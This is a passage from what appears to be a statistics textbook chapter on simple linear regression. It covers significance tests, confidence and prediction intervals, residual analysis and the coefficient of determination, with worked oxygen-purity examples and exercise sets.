(a) Fill in the missing information. You may use bounds for the P-values.
(b) Can you conclude that the model defines a useful linear relationship?
(c) What is your estimate of σ^2?

11-23. Consider the data from Exercise 11-1 on x = compressive strength and y = intrinsic permeability of concrete.
(a) Test for significance of regression using $\alpha = 0.05$. Find the P-value for this test. Can you conclude that the model specifies a useful linear relationship between these two variables?
(b) Estimate σ^2 and the standard deviation of $\hat{\beta}_1$.
(c) What is the standard error of the intercept in this model?

11-24. Consider the data from Exercise 11-2 on x = roadway surface temperature and y = pavement deflection.
(a) Test for significance of regression using $\alpha = 0.05$. Find the P-value for this test. What conclusions can you draw?
(b) Estimate the standard errors of the slope and intercept.

11-25. Consider the National Football League data in Exercise 11-3.
(a) Test for significance of regression using $\alpha = 0.01$. Find the P-value for this test. What conclusions can you draw?
(b) Estimate the standard errors of the slope and intercept.
(c) Test H_0: $\beta_1 = 10$ versus H_1: $\beta_1 \neq 10$ with $\alpha = 0.01$. Would you agree with the statement that this is a test of the hypothesis that a one-yard increase in the average yards per attempt results in a mean increase of 10 rating points?

11-26. Consider the data from Exercise 11-4 on y = sales price and x = taxes paid.
(a) Test H_0: $\beta_1 = 0$ using the t-test; use $\alpha = 0.05$.
(b) Test H_0: $\beta_1 = 0$ using the analysis of variance with $\alpha = 0.05$. Discuss the relationship of this test to the test from part (a).

(c) Estimate the standard errors of the slope and intercept.
(d) Test the hypothesis that $\beta_0 = 0$.

11-27. Consider the data from Exercise 11-5 on y = steam usage and x = average temperature.
(a) Test for significance of regression using $\alpha = 0.01$. What is the P-value for this test? State the conclusions that result from this test.
(b) Estimate the standard errors of the slope and intercept.
(c) Test the hypothesis H_0: $\beta_1 = 10$ versus H_1: $\beta_1 \neq 10$ using $\alpha = 0.01$. Find the P-value for this test.
(d) Test H_0: $\beta_0 = 0$ versus H_1: $\beta_0 \neq 0$ using $\alpha = 0.01$. Find the P-value for this test and draw conclusions.

11-28. Consider the data from Exercise 11-6 on y = highway gasoline mileage and x = engine displacement.
(a) Test for significance of regression using $\alpha = 0.01$. Find the P-value for this test. What conclusions can you reach?
(b) Estimate the standard errors of the slope and intercept.
(c) Test H_0: $\beta_1 = -0.05$ versus H_1: $\beta_1 < -0.05$ using $\alpha = 0.01$ and draw conclusions. What is the P-value for this test?
(d) Test the hypothesis H_0: $\beta_0 = 0$ versus H_1: $\beta_0 \neq 0$ using $\alpha = 0.01$. What is the P-value for this test?

11-29. Consider the data from Exercise 11-7 on y = green liquor Na_2S concentration and x = production in a paper mill.
(a) Test for significance of regression using $\alpha = 0.05$. Find the P-value for this test.
(b) Estimate the standard errors of the slope and intercept.
(c) Test H_0: $\beta_0 = 0$ versus H_1: $\beta_0 \neq 0$ using $\alpha = 0.05$. What is the P-value for this test?

11-30. Consider the data from Exercise 11-8 on y = blood pressure rise and x = sound pressure level.
(a) Test for significance of regression using $\alpha = 0.05$. What is the P-value for this test?
(b) Estimate the standard errors of the slope and intercept.
(c) Test H_0: $\beta_0 = 0$ versus H_1: $\beta_0 \neq 0$ using $\alpha = 0.05$. Find the P-value for this test.

11-31. Consider the data from Exercise 11-11, on y = shear strength of a propellant and x = propellant age.
(a) Test for significance of regression with $\alpha = 0.01$. Find the P-value for this test.
(b) Estimate the standard errors of $\hat{\beta}_0$ and $\hat{\beta}_1$.
(c) Test H_0: $\beta_1 = -30$ versus H_1: $\beta_1 \neq -30$ using $\alpha = 0.01$. What is the P-value for this test?
(d) Test H_0: $\beta_0 = 0$ versus H_1: $\beta_0 \neq 0$ using $\alpha = 0.01$. What is the P-value for this test?
(e) Test H_0: $\beta_0 = 2500$ versus H_1: $\beta_0 > 2500$ using $\alpha = 0.01$. What is the P-value for this test?

11-32. Consider the data from Exercise 11-10 on y = chloride concentration in surface streams and x = roadway area.
(a) Test the hypothesis H_0: $\beta_1 = 0$ versus H_1: $\beta_1 \neq 0$ using the analysis of variance procedure with $\alpha = 0.01$.
(b) Find the P-value for the test in part (a).
(c) Estimate the standard errors of $\hat{\beta}_1$ and $\hat{\beta}_0$.
(d) Test H_0: $\beta_0 = 0$ versus H_1: $\beta_0 \neq 0$ using $\alpha = 0.01$. What conclusions can you draw? Does it seem that the model might be a better fit to the data if the intercept were removed?

11-33. Consider the data in Exercise 11-13 on y = oxygen demand and x = time.
(a) Test for significance of regression using $\alpha = 0.01$. Find the P-value for this test. What conclusions can you draw?
(b) Estimate the standard errors of the slope and intercept.
(c) Test the hypothesis that $\beta_0 = 0$.

11-34. Consider the data in Exercise 11-14 on y = deflection and x = stress level.
(a) Test for significance of regression using $\alpha = 0.01$. What is the P-value for this test? State the conclusions that result from this test.
(b) Does this model appear to be adequate?
(c) Estimate the standard errors of the slope and intercept.

11-35. An article in *The Journal of Clinical Endocrinology and Metabolism* ["Simultaneous and Continuous 24-Hour Plasma and Cerebrospinal Fluid Leptin Measurements: Dissociation of Concentrations in Central and Peripheral Compartments" (2004, Vol. 89, pp. 258–265)] studied the demographics of simultaneous and continuous 24-hour plasma and cerebrospinal fluid leptin measurements. The data follow:

y = BMI (kg/m^2):	19.92	20.59	29.02	20.78	25.97	20.39	23.29	17.27	35.24	
x = Age (yr):	45.5	34.6	40.6	32.9	28.2	30.1	52.1	33.3	47.0	

(a) Test for significance of regression using $\alpha = 0.05$. Find the P-value for this test. Can you conclude that the model specifies a useful linear relationship between these two variables?
(b) Estimate σ^2 and the standard deviation of $\hat{\beta}_1$.
(c) What is the standard error of the intercept in this model?

11-36. Suppose that each value of x_i is multiplied by a positive constant a, and each value of y_i is multiplied by another positive constant b. Show that the t-statistic for testing H_0: $\beta_1 = 0$ versus H_1: $\beta_1 \neq 0$ is unchanged in value.

11-37. The type II error probability for the t-test for H_0: $\beta_1 = \beta_{1,0}$ can be computed in a similar manner to the t-tests of Chapter 9. If the true value of β_1 is β_1', the value $d = |\beta_{1,0} - \beta_1'|/(\sigma\sqrt{(n-1)/S_{xx}}$ is calculated and used as the horizontal scale factor on the operating characteristic curves for the t-test (Appendix Charts VII*e* through VII*h*) and the type II error probability is read from the vertical scale using the curve for $n - 2$ degrees of freedom. Apply this procedure to the football data of Exercise 11-3, using $\sigma = 5.5$ and $\beta_1' = 12.5$, where the hypotheses are H_0: $\beta_1 = 10$ versus H_1: $\beta_1 \neq 10$.

11-38. Consider the no-intercept model $Y = \beta x + \epsilon$ with the ϵ's NID(0, σ^2). The estimate of σ^2 is $s^2 = \sum_{i=1}^{n}(y_i - \hat{\beta}x_i)^2/(n-1)$ and $V(\hat{\beta}) = \sigma^2/\sum_{i=1}^{n}x_i^2$.
(a) Devise a test statistic for H_0: $\beta = 0$ versus H_1: $\beta \neq 0$.
(b) Apply the test in (a) to the model from Exercise 11-20.

11-5 CONFIDENCE INTERVALS

11-5.1 Confidence Intervals on the Slope and Intercept

In addition to point estimates of the slope and intercept, it is possible to obtain **confidence interval** estimates of these parameters. The width of these confidence intervals is a measure of the overall quality of the regression line. If the error terms, ϵ_i, in the regression model are normally and independently distributed,

$$(\hat{\beta}_1 - \beta_1)/\sqrt{\hat{\sigma}^2/S_{xx}} \quad \text{and} \quad (\hat{\beta}_0 - \beta_0)/\sqrt{\hat{\sigma}^2\left[\frac{1}{n} + \frac{\bar{x}^2}{S_{xx}}\right]}$$

are both distributed as t random variables with $n - 2$ degrees of freedom. This leads to the following definition of $100(1 - \alpha)\%$ confidence intervals on the slope and intercept.

Confidence Intervals on Parameters

Under the assumption that the observations are normally and independently distributed, a $100(1 - \alpha)\%$ **confidence interval on the slope** β_1 in simple linear regression is

$$\hat{\beta}_1 - t_{\alpha/2,n-2}\sqrt{\frac{\hat{\sigma}^2}{S_{xx}}} \le \beta_1 \le \hat{\beta}_1 + t_{\alpha/2,n-2}\sqrt{\frac{\hat{\sigma}^2}{S_{xx}}} \tag{11-29}$$

Similarly, a $100(1 - \alpha)\%$ **confidence interval on the intercept** β_0 is

$$\hat{\beta}_0 - t_{\alpha/2,n-2}\sqrt{\hat{\sigma}^2\left[\frac{1}{n} + \frac{\bar{x}^2}{S_{xx}}\right]} \le \beta_0 \le \hat{\beta}_0 + t_{\alpha/2,n-2}\sqrt{\hat{\sigma}^2\left[\frac{1}{n} + \frac{\bar{x}^2}{S_{xx}}\right]} \tag{11-30}$$

EXAMPLE 11-4 Oxygen Purity Confidence Interval on the Slope

We will find a 95% confidence interval on the slope of the regression line using the data in Example 11-1. Recall that $\hat{\beta}_1 = 14.947$, $S_{xx} = 0.68088$, and $\hat{\sigma}^2 = 1.18$ (see Table 11-2). Then, from Equation 11-29 we find

$$\hat{\beta}_1 - t_{0.025,18}\sqrt{\frac{\hat{\sigma}^2}{S_{xx}}} \le \beta_1 \le \hat{\beta}_1 + t_{0.025,18}\sqrt{\frac{\hat{\sigma}^2}{S_{xx}}}$$

or

$$14.947 - 2.101\sqrt{\frac{1.18}{0.68088}} \le \beta_1 \le 14.947 + 2.101\sqrt{\frac{1.18}{0.68088}}$$

This simplifies to

$$12.181 \le \beta_1 \le 17.713$$

Practical Interpretation: This CI does not include zero, so there is strong evidence (at $\alpha = 0.05$) that the slope is not zero. The CI is reasonably narrow (± 2.766) because the error variance is fairly small.

11-5.2 Confidence Interval on the Mean Response

A confidence interval may be constructed on the mean response at a specified value of x, say, x_0. This is a confidence interval about $E(Y|x_0) = \mu_{Y|x_0}$ and is often called a confidence interval

about the regression line. Since $E(Y|x_0) = \mu_{Y|x_0} = \beta_0 + \beta_1 x_0$, we may obtain a point estimate of the mean of Y at $x = x_0(\mu_{Y|x_0})$ from the fitted model as

$$\hat{\mu}_{Y|x_0} = \hat{\beta}_0 + \hat{\beta}_1 x_0$$

Now $\hat{\mu}_{Y|x_0}$ is an unbiased point estimator of $\mu_{Y|x_0}$, since $\hat{\beta}_0$ and $\hat{\beta}_1$ are unbiased estimators of β_0 and β_1. The variance of $\hat{\mu}_{Y|x_0}$ is

$$V(\hat{\mu}_{Y|x_0}) = \sigma^2\left[\frac{1}{n} + \frac{(x_0 - \bar{x})^2}{S_{xx}}\right]$$

This last result follows from the fact that $\hat{\mu}_{Y|x_0} = \bar{y} + \hat{\beta}_1(x_0 - \bar{x})$ and cov $(\bar{Y}, \hat{\beta}_1) = 0$. The zero covariance result is left as a mind-expanding exercise. Also, $\hat{\mu}_{Y|x_0}$ is normally distributed, because $\hat{\beta}_1$ and $\hat{\beta}_0$ are normally distributed, and if we $\hat{\sigma}^2$ use as an estimate of σ^2, it is easy to show that

$$\frac{\hat{\mu}_{Y|x_0} - \mu_{Y|x_0}}{\sqrt{\hat{\sigma}^2\left[\frac{1}{n} + \frac{(x_0 - \bar{x})^2}{S_{xx}}\right]}}$$

has a t distribution with $n - 2$ degrees of freedom. This leads to the following confidence interval definition.

Confidence Interval on the Mean Response

A $100(1 - \alpha)\%$ **confidence interval about the mean response** at the value of $x = x_0$, say $\mu_{Y|x_0}$, is given by

$$\hat{\mu}_{Y|x_0} - t_{\alpha/2,n-2}\sqrt{\hat{\sigma}^2\left[\frac{1}{n} + \frac{(x_0 - \bar{x})^2}{S_{xx}}\right]}$$
$$\leq \mu_{Y|x_0} \leq \hat{\mu}_{Y|x_0} + t_{\alpha/2,n-2}\sqrt{\hat{\sigma}^2\left[\frac{1}{n} + \frac{(x_0 - \bar{x})^2}{S_{xx}}\right]} \qquad (11\text{-}31)$$

where $\hat{\mu}_{Y|x_0} = \hat{\beta}_0 + \hat{\beta}_1 x_0$ is computed from the fitted regression model.

Note that the width of the CI for $\mu_{Y|x_0}$ is a function of the value specified for x_0. The interval width is a minimum for $x_0 = \bar{x}$ and widens as $|x_0 - \bar{x}|$ increases.

EXAMPLE 11-5 Oxygen Purity Confidence Interval on the Mean Response

We will construct a 95% confidence interval about the mean response for the data in Example 11-1. The fitted model is $\hat{\mu}_{Y|x_0} = 74.283 + 14.947x_0$, and the 95% confidence interval on $\mu_{Y|x_0}$ is found from Equation 11-31 as

$$\hat{\mu}_{Y|x_0} \pm 2.101\sqrt{1.18\left[\frac{1}{20} + \frac{(x_0 - 1.1960)^2}{0.68088}\right]}$$

Suppose that we are interested in predicting mean oxygen purity when $x_0 = 1.00\%$. Then

$$\hat{\mu}_{Y|x_{1.00}} = 74.283 + 14.947(1.00) = 89.23$$

and the 95% confidence interval is

$$89.23 \pm 2.101\sqrt{1.18\left[\frac{1}{20} + \frac{(1.00 - 1.1960)^2}{0.68088}\right]}$$

or

$$89.23 \pm 0.75$$

Therefore, the 95% CI on $\mu_{Y|1.00}$ is

$$88.48 \leq \mu_{Y|1.00} \leq 89.98$$

Figure 11-7 Scatter diagram of oxygen purity data from Example 11-1 with fitted regression line and 95 percent confidence limits on $\mu_{Y|x_0}$.

This is a reasonable narrow CI.

Minitab will also perform these calculations. Refer to Table 11-2. The predicted value of y at $x = 1.00$ is shown along with the 95% CI on the mean of y at this level of x.

By repeating these calculations for several different values for x_0, we can obtain confidence limits for each corresponding value of $\mu_{Y|x_0}$. Figure 11-7 displays the scatter diagram with the fitted model and the corresponding 95% confidence limits plotted as the upper and lower lines. The 95% confidence level applies only to the interval obtained at one value of x and not to the entire set of x-levels. Notice that the width of the confidence interval on $\mu_{Y|x_0}$ increases as $|x_0 - \bar{x}|$ increases.

11-6 PREDICTION OF NEW OBSERVATIONS

An important application of a regression model is predicting new or future observations Y corresponding to a specified level of the regressor variable x. If x_0 is the value of the regressor variable of interest,

$$\hat{Y}_0 = \hat{\beta}_0 + \hat{\beta}_1 x_0 \tag{11-32}$$

is the **point estimator** of the new or future value of the response Y_0.

Now consider obtaining an interval estimate for this future observation Y_0. This new observation is independent of the observations used to develop the regression model. Therefore, the confidence interval for $\mu_{Y|x_0}$ in Equation 11-31 is inappropriate, since it is based only on the data used to fit the regression model. The confidence interval about $\mu_{Y|x_0}$ refers to the true mean response at $x = x_0$ (that is, a population parameter), not to future observations.

Let Y_0 be the future observation at $x = x_0$, and let $\hat{Y}_0$ given by Equation 11-32 be the estimator of Y_0. Note that the error in prediction

$$e_{\hat{p}} = Y_0 - \hat{Y}_0$$

is a normally distributed random variable with mean zero and variance

$$V(e_{\hat{p}}) = V(Y_0 - \hat{Y}_0) = \sigma^2\left[1 + \frac{1}{n} + \frac{(x_0 - \bar{x})^2}{S_{xx}}\right]$$

because Y_0 is independent of $\hat{Y}_0$. If we use $\hat{\sigma}^2$ to estimate σ^2, we can show that

$$\frac{Y_0 - \hat{Y}_0}{\sqrt{\hat{\sigma}^2\left[1 + \frac{1}{n} + \frac{(x_0 - \bar{x})^2}{S_{xx}}\right]}}$$

has a t distribution with $n - 2$ degrees of freedom. From this we can develop the following **prediction interval** definition.

Prediction Interval

A $100(1 - \alpha)$ % **prediction interval on a future observation** Y_0 at the value x_0 is given by

$$\hat{y}_0 - t_{\alpha/2,n-2}\sqrt{\hat{\sigma}^2\left[1 + \frac{1}{n} + \frac{(x_0 - \bar{x})^2}{S_{xx}}\right]}$$
$$\leq Y_0 \leq \hat{y}_0 + t_{\alpha/2,n-2}\sqrt{\hat{\sigma}^2\left[1 + \frac{1}{n} + \frac{(x_0 - \bar{x})^2}{S_{xx}}\right]} \qquad (11\text{-}33)$$

The value $\hat{y}_0$ is computed from the regression model $\hat{y}_0 = \hat{\beta}_0 + \hat{\beta}_1 x_0$.

Notice that the prediction interval is of minimum width at $x_0 = \bar{x}$ and widens as $|x_0 - \bar{x}|$ increases. By comparing Equation 11-33 with Equation 11-31, we observe that the prediction interval at the point x_0 is always wider than the confidence interval at x_0. This results because the prediction interval depends on both the error from the fitted model and the error associated with future observations.

EXAMPLE 11-6 Oxygen Purity Prediction Interval

To illustrate the construction of a prediction interval, suppose we use the data in Example 11-1 and find a 95% prediction interval on the next observation of oxygen purity at $x_0 = 1.00$%. Using Equation 11-33 and recalling from Example 11-5 that $\hat{y}_0 = 89.23$, we find that the prediction interval is

$$89.23 - 2.101\sqrt{1.18\left[1 + \frac{1}{20} + \frac{(1.00 - 1.1960)^2}{0.68088}\right]}$$
$$\leq Y_0 \leq 89.23 + 2.101\sqrt{1.18\left[1 + \frac{1}{20} + \frac{(1.00 - 1.1960)^2}{0.68088}\right]}$$

which simplifies to

$$86.83 \leq y_0 \leq 91.63$$

This is a reasonably narrow prediction interval.

Minitab will also calculate prediction intervals. Refer to the output in Table 11-2. The 95% PI on the future observation at $x_0 = 1.00$ is shown in the display.

By repeating the foregoing calculations at different levels of x_0, we may obtain the 95% prediction intervals shown graphically as the lower and upper lines about the fitted regression model in Fig. 11-8. Notice that this graph also shows the 95% confidence limits on $\mu_{Y|x_0}$ calculated in Example 11-5. It illustrates that the prediction limits are always wider than the confidence limits.

Figure 11-8 Scatter diagram of oxygen purity data from Example 11-1 with fitted regression line, 95% prediction limits (outer lines) and 95% confidence limits on $\mu_{Y|x_0}$.

EXERCISES FOR SECTIONS 11-5 AND 11-6

11-39. Refer to the data in Exercise 11-1 on y = intrinsic permeability of concrete and x = compressive strength. Find a 95% confidence interval on each of the following:
(a) Slope (b) Intercept
(c) Mean permeability when $x = 2.5$
(d) Find a 95% prediction interval on permeability when $x = 2.5$. Explain why this interval is wider than the interval in part (c).

11-40. Exercise 11-2 presented data on roadway surface temperature x and pavement deflection y. Find a 99% confidence interval on each of the following:
(a) Slope (b) Intercept
(c) Mean deflection when temperature $x = 85°F$
(d) Find a 99% prediction interval on pavement deflection when the temperature is 90°F.

11-41. Refer to the NFL quarterback ratings data in Exercise 11-3. Find a 95% confidence interval on each of the following:
(a) Slope
(b) Intercept
(c) Mean rating when the average yards per attempt is 8.0
(d) Find a 95% prediction interval on the rating when the average yards per attempt is 8.0.

11-42. Refer to the data on y = house selling price and x = taxes paid in Exercise 11-4. Find a 95% confidence interval on each of the following:
(a) β_1 (b) β_0
(c) Mean selling price when the taxes paid are $x = 7.50$
(d) Compute the 95% prediction interval for selling price when the taxes paid are $x = 7.50$.

11-43. Exercise 11-5 presented data on y = steam usage and x = monthly average temperature.
(a) Find a 99% confidence interval for β_1.
(b) Find a 99% confidence interval for β_0.
(c) Find a 95% confidence interval on mean steam usage when the average temperature is 55°F.
(d) Find a 95% prediction interval on steam usage when temperature is 55°F. Explain why this interval is wider than the interval in part (c).

11-44. Exercise 11-6 presented gasoline mileage performance for 21 cars, along with information about the engine displacement. Find a 95% confidence interval on each of the following:
(a) Slope (b) Intercept
(c) Mean highway gasoline mileage when the engine displacement is $x = 150$ in^3
(d) Construct a 95% prediction interval on highway gasoline mileage when the engine displacement is $x = 150$ in^3.

11-45. Consider the data in Exercise 11-7 on y = green liquor Na_2S concentration and x = production in a paper mill. Find a 99% confidence interval on each of the following:
(a) β_1 (b) β_0
(c) Mean Na_2S concentration when production $x = 910$ tons/day
(d) Find a 99% prediction interval on Na_2S concentration when $x = 910$ tons/day.

11-46. Exercise 11-8 presented data on y = blood pressure rise and x = sound pressure level. Find a 95% confidence interval on each of the following:
(a) β_1 (b) β_0
(c) Mean blood pressure rise when the sound pressure level is 85 decibels
(d) Find a 95% prediction interval on blood pressure rise when the sound pressure level is 85 decibels.

11-47. Refer to the data in Exercise 11-9 on y = wear volume of mild steel and x = oil viscosity. Find a 95% confidence interval on each of the following:
(a) Intercept (b) Slope
(c) Mean wear when oil viscosity $x = 30$

11-48. Exercise 11-10 presented data on chloride concentration y and roadway area x on watersheds in central Rhode Island. Find a 99% confidence interval on each of the following:
(a) β_1 (b) β_0
(c) Mean chloride concentration when roadway area $x = 1.0\%$
(d) Find a 99% prediction interval on chloride concentration when roadway area $x = 1.0\%$.

11-49. Refer to the data in Exercise 11-11 on rocket motor shear strength y and propellant age x. Find a 95% confidence interval on each of the following:
(a) Slope β_1 (b) Intercept β_0
(c) Mean shear strength when age $x = 20$ weeks
(d) Find a 95% prediction interval on shear strength when age $x = 20$ weeks.

11-50. Refer to the data in Exercise 11-12 on the microstructure of zirconia. Find a 95% confidence interval on each of the following:
(a) Slope (b) Intercept
(c) Mean length when $x = 1500$
(d) Find a 95% prediction interval on length when $x = 1500$. Explain why this interval is wider than the interval in part (c).

11-51. Refer to the data in Exercise 11-13 on oxygen demand. Find a 99% confidence interval on each of the following:
(a) β_1
(b) β_0
(c) Find a 95% confidence interval on mean BOD when the time is 8 days.

11-7 ADEQUACY OF THE REGRESSION MODEL

Fitting a regression model requires several **assumptions.** Estimation of the model parameters requires the assumption that the errors are uncorrelated random variables with mean zero and constant variance. Tests of hypotheses and interval estimation require that the errors be normally distributed. In addition, we assume that the order of the model is correct; that is, if we fit a simple linear regression model, we are assuming that the phenomenon actually behaves in a linear or first-order manner.

The analyst should always consider the validity of these assumptions to be doubtful and conduct analyses to examine the adequacy of the model that has been tentatively entertained. In this section we discuss methods useful in this respect.

11-7.1 Residual Analysis

The **residuals** from a regression model are $e_i = y_i - \hat{y}_i$, $i = 1, 2, \ldots, n$, where y_i is an actual observation and $\hat{y}_i$ is the corresponding fitted value from the regression model. Analysis of the residuals is frequently helpful in checking the assumption that the errors are approximately normally distributed with constant variance, and in determining whether additional terms in the model would be useful.

As an approximate check of normality, the experimenter can construct a frequency histogram of the residuals or a **normal probability plot of residuals.** Many computer programs will produce a normal probability plot of residuals, and since the sample sizes in regression are often too small for a histogram to be meaningful, the normal probability plotting method is preferred. It requires judgment to assess the abnormality of such plots. (Refer to the discussion of the "fat pencil" method in Section 6-6).

We may also **standardize** the residuals by computing $d_i = e_i/\sqrt{\hat{\sigma}^2}$, $i = 1, 2, \ldots, n$. If the errors are normally distributed, approximately 95% of the standardized residuals should fall in the interval $(-2, +2)$. Residuals that are far outside this interval may indicate the presence of an **outlier,** that is, an observation that is not typical of the rest of the data. Various rules have been proposed for discarding outliers. However, outliers sometimes provide

Figure 11-9 Patterns for residual plots. (a) Satisfactory, (b) Funnel, (c) Double bow, (d) Nonlinear. [Adapted from Montgomery, Peck, and Vining (2006).]

important information about unusual circumstances of interest to experimenters and should not be automatically discarded. For further discussion of outliers, see Montgomery, Peck, and Vining (2006).

It is frequently helpful to plot the residuals (1) in time sequence (if known), (2), against the $\hat{y}_i$, and (3) against the independent variable x. These graphs will usually look like one of the four general patterns shown in Fig. 11-9. Pattern (a) in Fig. 11-9 represents the ideal situation, while patterns (b), (c), and (d) represent anomalies. If the residuals appear as in (b), the variance of the observations may be increasing with time or with the magnitude of y_i or x_i. Data transformation on the response y is often used to eliminate this problem. Widely used variance-stabilizing transformations include the use of $\sqrt{y}$, $\ln y$, or $1/y$ as the response. See Montgomery, Peck, and Vining (2006) for more details regarding methods for selecting an appropriate transformation. Plots of residuals against $\hat{y}_i$ and x_i that look like (c) also indicate inequality of variance. Residual plots that look like (d) indicate model inadequacy; that is, higher order terms should be added to the model, a transformation on the x-variable or the y-variable (or both) should be considered, or other regressors should be considered.

EXAMPLE 11-7 Oxygen Purity Residuals

The regression model for the oxygen purity data in Example 11-1 is $\hat{y} = 74.283 + 14.947x$. Table 11-4 presents the observed and predicted values of y at each value of x from this data set, along with the corresponding residual. These values were computed using Minitab and show the number of decimal places typical of computer output. A normal probability plot of the residuals is shown in Fig. 11-10. Since the residuals fall approximately along a straight line in the figure, we conclude that there is no severe departure from normality. The residuals are also plotted against the predicted value $\hat{y}_i$ in Fig. 11-11 and against the hydrocarbon levels x_i in Fig. 11-12. These plots do not indicate any serious model inadequacies.

Table 11-4 Oxygen Purity Data from Example 11-1, Predicted Values, and Residuals

	Hydrocarbon Level, x	Oxygen Purity, y	Predicted Value, $\hat{y}$	Residual $e = y - \hat{y}$		Hydrocarbon Level, x	Oxygen Purity, y	Predicted Value, $\hat{y}$	Residual $e = y - \hat{y}$
1	0.99	90.01	89.081	0.929	11	1.19	93.54	92.071	1.469
2	1.02	89.05	89.530	−0.480	12	1.15	92.52	91.473	1.047
3	1.15	91.43	91.473	−0.043	13	0.98	90.56	88.932	1.628
4	1.29	93.74	93.566	0.174	14	1.01	89.54	89.380	0.160
5	1.46	96.73	96.107	0.623	15	1.11	89.85	90.875	−1.025
6	1.36	94.45	94.612	−0.162	16	1.20	90.39	92.220	−1.830
7	0.87	87.59	87.288	0.302	17	1.26	93.25	93.117	0.133
8	1.23	91.77	92.669	−0.899	18	1.32	93.41	94.014	−0.604
9	1.55	99.42	97.452	1.968	19	1.43	94.98	95.658	−0.678
10	1.40	93.65	95.210	−1.560	20	0.95	87.33	88.483	−1.153

11-7.2 Coefficient of Determination (R^2)

A widely used measure for a regression model is the following ratio of sum of squares.

R^2

The **coefficient of determination** is

$$R^2 = \frac{SS_R}{SS_T} = 1 - \frac{SS_E}{SS_T} \tag{11-34}$$

The coefficient is often used to judge the adequacy of a regression model. Subsequently, we will see that in the case where X and Y are jointly distributed random variables, R^2 is the square of the correlation coefficient between X and Y. From the analysis of variance identity in Equations 11-24 and 11-25, $0 \le R^2 \le 1$. We often refer loosely to R^2 as the amount of variability in the data explained or accounted for by the regression model. For the oxygen purity regression model, we have $R^2 = SS_R/SS_T = 152.13/173.38 = 0.877$; that is, the model accounts for 87.7% of the variability in the data.

Figure 11-10 Normal probability plot of residuals, Example 11-7.

Figure 11-11 Plot of residuals versus predicted oxygen purity $\hat{y}$, Example 11-7.

Figure 11-12 Plot of residuals versus hydrocarbon level x, Example 11-8.

The statistic R^2 should be used with caution, because it is always possible to make R^2 unity by simply adding enough terms to the model. For example, we can obtain a "perfect" fit to n data points with a polynomial of degree $n - 1$. In addition, R^2 will always increase if we add a variable to the model, but this does not necessarily imply that the new model is superior to the old one. Unless the error sum of squares in the new model is reduced by an amount equal to the original error mean square, the new model will have a larger error mean square than the old one, because of the loss of one error degree of freedom. Thus, the new model will actually be worse than the old one.

There are several misconceptions about R^2. In general, R^2 does not measure the magnitude of the slope of the regression line. A large value of R^2 does not imply a steep slope. Furthermore, R^2 does not measure the appropriateness of the model, since it can be artificially inflated by adding higher order polynomial terms in x to the model. Even if y and x are related in a nonlinear fashion, R^2 will often be large. For example, R^2 for the regression equation in Fig. 11-6(b) will be relatively large, even though the linear approximation is poor. Finally, even though R^2 is large, this does not necessarily imply that the regression model will provide accurate predictions of future observations.

EXERCISES FOR SECTION 11-7

11-52. Refer to the compressive strength data in Exercise 11-1. Use the summary statistics provided to calculate R^2 and provide a practical interpretation of this quantity.

11-53. Refer to the NFL quarterback ratings data in Exercise 11-3.

(a) Calculate R^2 for this model and provide a practical interpretation of this quantity.

(b) Prepare a normal probability plot of the residuals from the least squares model. Does the normality assumption seem to be satisfied?

(c) Plot the residuals versus the fitted values and against x. Interpret these graphs.

11-54. Refer to the data in Exercise 11-4 on house selling price y and taxes paid x.

(a) Find the residuals for the least squares model.

(b) Prepare a normal probability plot of the residuals and interpret this display.

(c) Plot the residuals versus $\hat{y}$ and versus x. Does the assumption of constant variance seem to be satisfied?

(d) What proportion of total variability is explained by the regression model?

11-55. Refer to the data in Exercise 11-5 on y = steam usage and x = average monthly temperature.

(a) What proportion of total variability is accounted for by the simple linear regression model?

(b) Prepare a normal probability plot of the residuals and interpret this graph.

(c) Plot residuals versus $\hat{y}$ and x. Do the regression assumptions appear to be satisfied?

11-56. Refer to the gasoline mileage data in Exercise 11-6.

(a) What proportion of total variability in highway gasoline mileage performance is accounted for by engine displacement?

(b) Plot the residuals versus $\hat{y}$ and x, and comment on the graphs.

(c) Prepare a normal probability plot of the residuals. Does the normality assumption appear to be satisfied?

11-57. Exercise 11-9 presents data on wear volume y and oil viscosity x.

(a) Calculate R^2 for this model. Provide an interpretation of this quantity.

(b) Plot the residuals from this model versus $\hat{y}$ and versus x. Interpret these plots.

(c) Prepare a normal probability plot of the residuals. Does the normality assumption appear to be satisfied?

11-58. Refer to Exercise 11-8, which presented data on blood pressure rise y and sound pressure level x.

(a) What proportion of total variability in blood pressure rise is accounted for by sound pressure level?

(b) Prepare a normal probability plot of the residuals from this least squares model. Interpret this plot.

(c) Plot residuals versus $\hat{y}$ and versus x. Comment on these plots.

11-59. Refer to Exercise 11-10, which presented data on chloride concentration y and roadway area x.

(a) What proportion of the total variability in chloride concentration is accounted for by the regression model?

(b) Plot the residuals versus $\hat{y}$ and versus x. Interpret these plots.

(c) Prepare a normal probability plot of the residuals. Does the normality assumption appear to be satisfied?

11-60. An article in the *Journal of the American Statistical Association* [“Markov Chain Monte Carlo Methods for Computing Bayes Factors: A Comparative Review” (2001, Vol. 96, pp. 1122–1132)] analyzed the tabulated data on compressive strength parallel to the grain versus resin-adjusted density for specimens of radiata pine.

Compressive Strength	Density	Compressive Strength	Density
3040	29.2	3840	30.7
2470	24.7	3800	32.7
3610	32.3	4600	32.6
3480	31.3	1900	22.1
3810	31.5	2530	25.3
2330	24.5	2920	30.8
1800	19.9	4990	38.9
3110	27.3	1670	22.1
3160	27.1	3310	29.2
2310	24.0	3450	30.1
4360	33.8	3600	31.4
1880	21.5	2850	26.7
3670	32.2	1590	22.1
1740	22.5	3770	30.3
2250	27.5	3850	32.0
2650	25.6	2480	23.2
4970	34.5	3570	30.3
2620	26.2	2620	29.9
2900	26.7	1890	20.8
1670	21.1	3030	33.2
2540	24.1	3030	28.2

(a) Fit a regression model relating compressive strength to density.

(b) Test for significance of regression with $\alpha = 0.05$.

(c) Estimate σ^2 for this model.

(d) Calculate R^2 for this model. Provide an interpretation of this quantity.

(e) Prepare a normal probability plot of the residuals and interpret this display.

(f) Plot the residuals versus $\hat{y}$ and versus x. Does the assumption of constant variance seem to be satisfied?

11-61. Consider the rocket propellant data in Exercise 11-11.

(a) Calculate R^2 for this model. Provide an interpretation of this quantity.

(b) Plot the residuals on a normal probability scale. Do any points seem unusual on this plot?

(c) Delete the two points identified in part (b) from the sample and fit the simple linear regression model to the remaining 18 points. Calculate the value of R^2 for the new model. Is it larger or smaller than the value of R^2 computed in part (a)? Why?

(d) Did the value of $\hat{\sigma}^2$ change dramatically when the two points identified above were deleted and the model fit to the remaining points? Why?

